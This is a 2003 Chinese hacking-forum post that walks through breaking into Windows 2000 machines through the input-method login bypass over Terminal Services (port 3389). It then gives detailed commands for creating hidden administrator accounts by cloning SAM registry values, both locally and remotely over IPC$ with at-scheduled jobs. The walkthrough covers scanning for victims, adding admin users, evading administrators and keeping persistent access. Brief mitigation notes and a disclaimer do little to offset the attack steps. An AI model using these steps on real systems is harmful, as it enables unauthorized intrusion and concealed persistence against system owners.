Board logo

标题: 输入法入侵的总结 [打印本页]

作者: kinger    时间: 2003-2-18 17:10     标题: 输入法入侵的总结

3389端口简介:WIN2000中文简体版存在的输入法漏洞,可以使本地用户绕过身份验证机制而进入系统内部。
经实验,WIN2000中文简体版的终端服务,在远程操作时仍然存在这一漏洞,而且危害更大。
WIN2000的终端服务功能,能使系统管理员对WIN2000进行远程操作,采用的是图形界面,用户在远程控制
计算机时其功能与在本地使用一样,其默认端口为3389,用户只要装了WIN2000的客户端连接管理器就能与开启了该服务的计算机相联。因此这一漏洞使终端服务成为WIN2000的合法木马。
这次我们要用到的工具有:SUPERSCAN2.03 WIN2000终端服务客户端。推荐使用流光4.7
下面我们来看看是怎么入侵的。
第一步:我们现在要做的是找到一台存在3389端口漏洞的主机,这是我们可爱的SUPERSCAN上场的时候了,如果您对SUPERSCAN不太熟悉的话,你按照上图的配置就行了,在开始处填上你要扫描的IP地址段,结束处填上结束的IP地址段,如果你的网速和机器配置并不高的话,请不要扫描多个IP地址段。
第二步:假设我们现在已经得到一台存在3389漏洞的主机,现在我们要做的是进入到他的计算机中。这里我们就要用到上面所说到的终端客户端连接器了连接了。
我们需要在服务器处填上我们刚才扫描得到的3389端口主机,屏幕区域:640*480 800*600 1024*768……这个是你连接上去以后在你机器上显示的分辨率,建议为:800*600。在启用数据压缩处打上勾。其他的就不用调整了!就使用默认了!点连接,我们就可以看到熟悉的WIN2000登陆界面了!
第三步:我们要做的是利用输入法漏洞为我们创建一个用户,并加入到administrators中去,或者将guset激活。建议激活guset,因为这样不容易被网管发现。具体方法如下:
用终端连接器连接上几秒钟后,屏幕上显示出WIN2000登录界面(如果发现是英文或繁体中文版,放弃,另换一个地址)。用CTRL+SHIFT快速切换输入法,切换至全拼,这时在登录界面左下角将出现输入法状态条(如果没有出现,请耐心等待,因为对方的数据流传输还有一个过程)。用右键点击状态条上的微软徽标,弹出“帮助”(如果发现“帮助”呈灰色,放弃,因为对方很可能发现并已经补上了这个漏洞)
机依然存在3389漏洞,帮助我们还可以使用!:)
打开“帮助”一栏中“操作指南”,在最上面的任务栏点击右键,会弹出一个菜单,打开“跳至URL”。
此时将出现WIN2000的系统安装路径和要求我们填入的路径的空白栏。比如,该系统安装在C盘上,就在空白栏中填入"c:\winnt\system32"。当然也不一定对方的2000是安装在C盘,如果出错的话,你可以用file:///c:查看C盘的文件名,我就遇的很多用户装的是双操作系统,C装98,D装WIN2000,您可以根据具体的位置定义跳转URL,我们这里的主机2000是安装在D盘上的,我们填入"d:\winnt\system32"。然后按“确定”,点显示文件,于是我们就成功地绕过了身份验证,进入了系统的SYSTEM32目录。
第四步:
现在我们要获得一个账号,成为系统的合法用户。在该目录下找到"net.exe",为"net.exe"创建一个快捷方式,右键点击该快捷方式,在“属性”->“目标”->d:\winnt\system32\net.exe后面空一格,填入"user guest active :yes"点“确定”。这一步骤目的在于用net.exe激活被禁止使用的guest账户,当然也可以利用"user 用户名 密码/add",创建一个新账号。当然方法有很多种。我们这里将带领各位建立一个用户名为WINADMIN的用户,找到NET这个文件右键---创建快捷方式----属性----然后填加用户。,我们建立了一个名字为WINADMIN的用户,然后就是改变WINADMIN的密码,用到的命令是:
net user winadmin xxxx XXXX是你要设置的密码!
运行后可能没有什么反映,但是实际上已经填加了这个用户了。
第五步:
上一步我们已经填加了WINADMIN这个用户,但是光有一个普通用户的权限是不够的,我们需要提升一下自己的权限,也就是把我们加到管理员组中去.再运行一下,呵呵!现在我们已经可以进入他的电脑了。
第六步----连接到对方计算机上去
我们使用终端连接器连接上去,填上你刚才建立的用户和密码,然后…………总之就象使用你的电脑一样!
我们可以利用这台电脑为我们干很多事情,也可以当做跳板利用。如果他安装了IIS的话,你还可以放上个江湖!(我觉得还是先通知网管)建议大家给在桌面上留下一个TXT文件,告诉他怎么修复,让他尽快补上漏洞!(又干了一件好事)
最后教大家一招,登陆进入以后local-machine->software->microsoft->winnt->currentversion->winlogon DontDisplayLastUserName:1 修改注册表相应健值,这样网管就不会查到你了
防范方法:
1.最简单的一个防范方法就是删除帮助文件。具体方法是在搜索中查找输入法的帮助文件,可以利用的有:PINTLGNT.CHM(微软拼音输入法),WINSP.CHM(双拼输入法帮助文件),WINZM.CHM(郑码输入法帮助文件),WINPY.CHM(全拼输入法帮助文件)WINIME.CHM(输入法操作指南)将以上文件全部删除
2.http://download.microsoft.com/downl..._SP2_x86_CN.EXE安装输入法补丁
3.停止终端服务

建立隐藏的超级用户 
前几天在某个网站(记不清了,不好意思 ^_*)上看到了一篇介绍如何建立隐藏的超级用户的图文教程,给我了很大的启发,作者只说明了如何在本地图形界面下建立隐藏的超级用户,且作者说他无法在命令行下实现隐藏的超级用户的建立,于是我就开始自已摸索,刚开始时,我用reg.exe(3.0版)作为命令行下导出导入注册表文件的工具,但每次导入以后,建立的隐藏的超级用户总不能用,后来打开注册表查看,发现这个隐藏的超级用户的默认数据类型并没有被导入注册表。由于这种数据类型是十六进制数表示的(如administrator的默认数据类型为000001F4,下面例子中的hacker$的数据类型是00000409)而不是我们常说的字符串型、dword型、二进制型等数据类型,reg.exe不能识别,因而也就无法导入,而在图形界面下用注册表编辑器regedit.exe却能够将这种数据类型导入,后来一想regedit.exe是一个两栖程序,它既可以在windows界面下运行,也可以在DOS下运行,既然图形界面regedit.exe能够导入这种数据类型,那么DOS下面的它也应该能够导入这种数据类型,后来经试验证明了我的想法。下面我把我实现这个隐藏的超级用户建立方法介绍如下:
一、如何在图形界面建立隐藏的超级用户
图形界面下适用本地或开3389终端服务的肉鸡上。上面我提到的那位作者说的方法很好,但是较为复杂,还要用到psu.exe(让程序以系统用户身份运行的程序),如果在肉鸡上的话还要上传psu.exe。我说的这个方法将不用到psu.exe这个程序。因为windows2000有两个注册表编辑器:regedit.exe和regedt32.exe。XP中regedit.exe和regedt32.exe实为一个程序,修改键值的权限时在右键中点“权限”来修改。对regedit.exe我想大家都很熟悉,但却不能对注册表的项键设置权限,而regedt32.exe最大的优点就是能够对注册表的项键设置权限。nt/2000/xp的帐户信息都在注册表的HKEY_LOCAL_MACHINE\SAM\SAM键下,但是除了系统用户SYSTEM外,其它用户都无权查看到里面的信息,因此我首先用regedt32.exe对SAM键为我设置为“完全控制”权限。这样就可以对SAM键内的信息进行读写了了。具体步聚如下:
1、假设我们是以超级用户administrator登录到开有终端服务的肉鸡上的,首先在命令行下或帐户管理器中建立一个帐户:hacker$,这里我在命令行下建立这个帐户
net user hacker$ 1234 /add
2、在开始/运行中输入:regedt32.exe并回车来运行regedt32.exe。
3、点“权限”以后会弹出窗口
点添加将我登录时的帐户添加到安全栏内,这里我是以administrator的身份登录的,所以我就将administrator加入,并设置权限为“完全控制"。这里需要说明一下:最好是添加你登录的帐户或帐户所在的组,切莫修改原有的帐户或组,否则将会带来一系列不必要的问题。等隐藏超级用户建好以,再来这里将你添加的帐户删除即可。
4、再点“开始”→“运行”并输入"regedit.exe" 回车,启动注册表编辑器regedit.exe。
打开键:HKEY_LOCAL_MAICHINE\SAM\SAM\Domains\account\user\names\hacker$"
5、将项hacker$、00000409、000001F4导出为hacker.reg、409.reg、1f4.reg,用记事本分别打这几个导出的文件进行编辑,将超级用户对应的项000001F4下的键"F"的值复制,并覆盖hacker$对应的项00000409下的键"F"的值,然后再将00000409.reg与hacker.reg合并。
6、在命令行下执行net user hacker$ /del将用户hacker$删除:net user hacker$ /del
7、在regedit.exe的窗口内按F5刷新,然后打文件-导入注册表文件将修改好的hacker.reg导入注册表即可
8、到此,隐藏的超级用户hacker$已经建好了,然后关闭regedit.exe。在regedt32.exe窗口内把HKEY_LOCAL_MACHINE\SAM\SAM键权限改回原来的样子(只要删除添加的帐户administrator即可)。
9、注意:隐藏的超级用户建好后,在帐户管理器看不到hacker$这个用户,在命令行用“net user”命令也看不到,但是超级用户建立以后,就不能再改密码了,如果用net user命令来改hacker$的密码的话,那么在帐户管理器中将又会看这个隐藏的超级用户了,而且不能删除。

如何在命令行下远程建立隐藏的超级用户
在这里将用at的命令,因为用at产生的计划任务是以系统身份运行的,所以也用不到psu.exe程序。为了能够使用at命令,肉鸡必须开有schedule的服务,如果没有开启,可用流光里带的工具netsvc.exe或sc.exe来远程启动,当然其方法也可以,只要能启动schedule服务就行。
对于命令行方式,你可以采用各种连接方式,如用SQLexec连接MSSQL的1433端口,也可以用telnet服务,只要以你能得到一个cmdshell,并且有运行at命令的权限就可以。
1、首先找到一台肉鸡,至于如何来找那不是我这里所说的话题。这里先假设找到一台超级用户为administrator,密码为12345678的肉鸡,现在我们开始在命令行下远程为它建立隐藏的超级用户。(例子中的主机是我的局域网内的一台主机,我将它的ip地址改为13.50.97.238,,请勿在互联网上对号入座,以免骚扰正常的ip地址。)
2、先与肉鸡建立连接,命令为: net use \\13.50.97.238\ipc$ "12345678" /user:"administrator
3、用at命令在肉鸡上建立一个用户(如果at服务没有启动,可用小榕的netsvc.exe或sc.exe来远程启动):at \\13.50.97.238 12:51
c:\winnt\system32\net.exe user hacker$ 1234 /add
建立这个加有$符的用户名,是因为加有$符后,命令行下用net user将不显示这个用户,但在帐户管理器却能看到这个用户。
4、同样用at命令导出HKEY_LOCAL_MACHINE\sam\sam\Domains\account\users下键值:at \\13.50.97.238 12:55
c:\winnt\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\
/e 是regedit.exe的参数,在_LOCAL_MACHINE\SAM\SAM\Domains\account\users\这个键的一定要以\结尾。必要的情况下可以用引号将"c:\winnt\regedit.exe /e hacker.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\account\users\"引起来。
5、将肉鸡上的hacker.reg下载到本机上用记事本打开进行编辑命令为:copy \\13.50.97.238\admin$\system32\hacker.reg
c:\hacker.reg
修改的方法图形界中已经介绍过了,这里就不作介绍了。
6、再将编辑好的hacker.reg拷回肉鸡上 copy c:\hacker.reg \\13.50.97.238\admin$\system32\hacker1.reg
7、查看肉鸡时间:net time \\13.50.97.238 然后用at命令将用户hacker$删除:
at \\13.50.97.238 13:40 net user hacker$ /del
8、验证hacker$是否删除:用
net use \\13.50.97.238 /del 断开与肉鸡的连接。
net use \\13.50.97.238\ipc$ "1234" /user:"hacker$" 用帐户hacker$与肉鸡连接,不能连接说明已删除。
9、再与肉鸡建立连接:net use \\13.50.97.238\ipc$ "12345678" /user:"administrator"
再取得肉鸡时间,用at命令将拷回肉鸡的hacker1.reg导入肉鸡注册表:
at \\13.50.97.238 13:41 c:\winnt\regedit.exe /s hacker1.reg
regedit.exe的参数/s是指安静模式。
10、再验证hacker$是否已建立,方法同上面验证hacker$是否被删除一样。
11、再验证用户hacker$是否有读、写、删的权限,如果不放心,你还可验证是否能建立其它帐户。
12、通过11可以断定用户hacker$具有超级用户权限,因为最初我用at命令建立它的时候是一个普通用户,而现在却具有远程读、写、删的权限。
三、如果肉鸡没有开3389终端服务,而我又不想用命令行,怎么办?
这种情况下,你也可以用界面方式来远程为肉鸡建立隐藏的超级用户。因为regedit.exe、regedt32.exe都有连接网络注册表的功能,你可以用regedt32.exe来为远程主机的注册表项设置权限,用regedit.exe来编辑远程注册表。帐户管理器也有一项连另一台计算机的功能,你可以用帐户管理器为远程主机建立和删除帐户。具体步聚与上面介绍的相似,我就不多说了,只它的速度实在是令人难以忍受。
但是这里有两个前提:1、先用net use \\肉鸡ip\ipc$ "密码" /user:"超级用户名"来与远程主机建立连接以后,才能用regedit.exe regedt32.exe及帐户管理器与远程主机连接。
2、远程主机必须开启远程注册表服务(没有开启的话,你也可以远程开启,因为你有超级用户的密码了)。
四、利用被禁用的帐户建立隐藏的超级用户:
我们可以用肉鸡上被禁止的用户来建立隐藏的超组用户.方法如下:
1.想办法查看有哪些用户被细心的管理员禁止,一般情况下,有些管理员出于安全考虑,通常会将guest禁用,当然了会禁用其它用户。在图形界面下,非常容易,只要在帐户管理器中就可以看到被禁用的帐户上有一个红叉;而在命令行下,我还没有想到好的办法,只能在命令行下用命令:"net user 用户名"一个一个来查看用户是否被禁用。
2.在这里,我们假设用户hacker被管理员禁用。首先,我先用小榕的超组用户克隆程序CA.exe,将被禁用的用户hacker 克隆成超级用户(克隆之后,被禁用的用户hacker就会自动被激活了): CA.EXE \\肉鸡ip Administrator 超级用户密码 hacher hacher密码。
3.如果你现在一个cmdshell,如利用telnet服务或SQLEXEC连接肉鸡的msSQL的默认端口1433得到的shell都可以,这时你只要输入命令:
net user hacker /active:no 这样用户hacker就被禁用了(至少表面上是这样的),当然你也可以将用户hacher换成其它的被禁用的用户。
4.这时如果你在图形界面下看帐户管理器中的用户时,会发现用户hacker被禁用了,但事实上是这样的吗?你用这个被禁用的用户连接一下肉鸡看看是否能连上?用命令:net user \\肉鸡ip\ipc$ "hacker密码" /user:"hacker" 连一连看看。我可以告诉大家,经过我多次试验,次次都能成功,而且还是超级用户权限。
5.如果没有cmdshell怎么办?你可以我上面介绍的at命令来禁用用户hacker;命令格式:at \\肉鸡ip 时间 net user hacker /active:no
6.原理:具体的高深的原理我也说不上来,我只能从最简单的说。你先在图形界面下在帐户管理器中禁用一下超级用户administrator看看,肯定会弹出一对话框,并禁止你继续禁用超级用户administrator,同样,因为在克隆时,hacker在注册表的"F"键被超级用户administrator在注册表的"F"键所替代,因而hacker就具有了超级用户的权限了,但是由于hacker在注册表内"C"健还是原来的"C"键,所以hacker还是会被禁用,但是它的超级用户权限却不会被禁用,因此被禁用的用户hacker还是可以连接肉鸡,而且还具有超级用户的权限。具体我也说不明白,大家权且这么理解吧。
五、注意的几点事项:
1、隐藏的超级用户建立以后,在帐户管理器中和命令行下均看不到这个用户,但这个用户却存在。
2、隐藏的超级用户建立以后,就不能再修改密码了,因为一旦修改密码,这个隐藏的超级用户就会暴露在帐户管理器中,而且不能删除。
3、如在本机上试验时,最好用系统自带的备份工具先备份好本机的“系统状态”主要是注册表的备份,因为本人做试验时,曾出现过帐户管理器中看不到任何用户,组中也看不到任何组的现象,但它们却存在。幸好我有备份,呵呵。SAM键是毕竟系统最敏感的部位。
4、本方法在2000/XP上测试通过,未在NT上测试。本方法仅供研究,请勿将本方法用于破坏上,利用本方法造成严重后果者,由使用者负责,本人概不负责。


请各位不要再去发很多的关于怎么去利用输入法去入侵的帖子了
谢谢合作!!!!!!!!!!
对本帖子的疑问请去有问必答区




欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/) Powered by Discuz! 7.2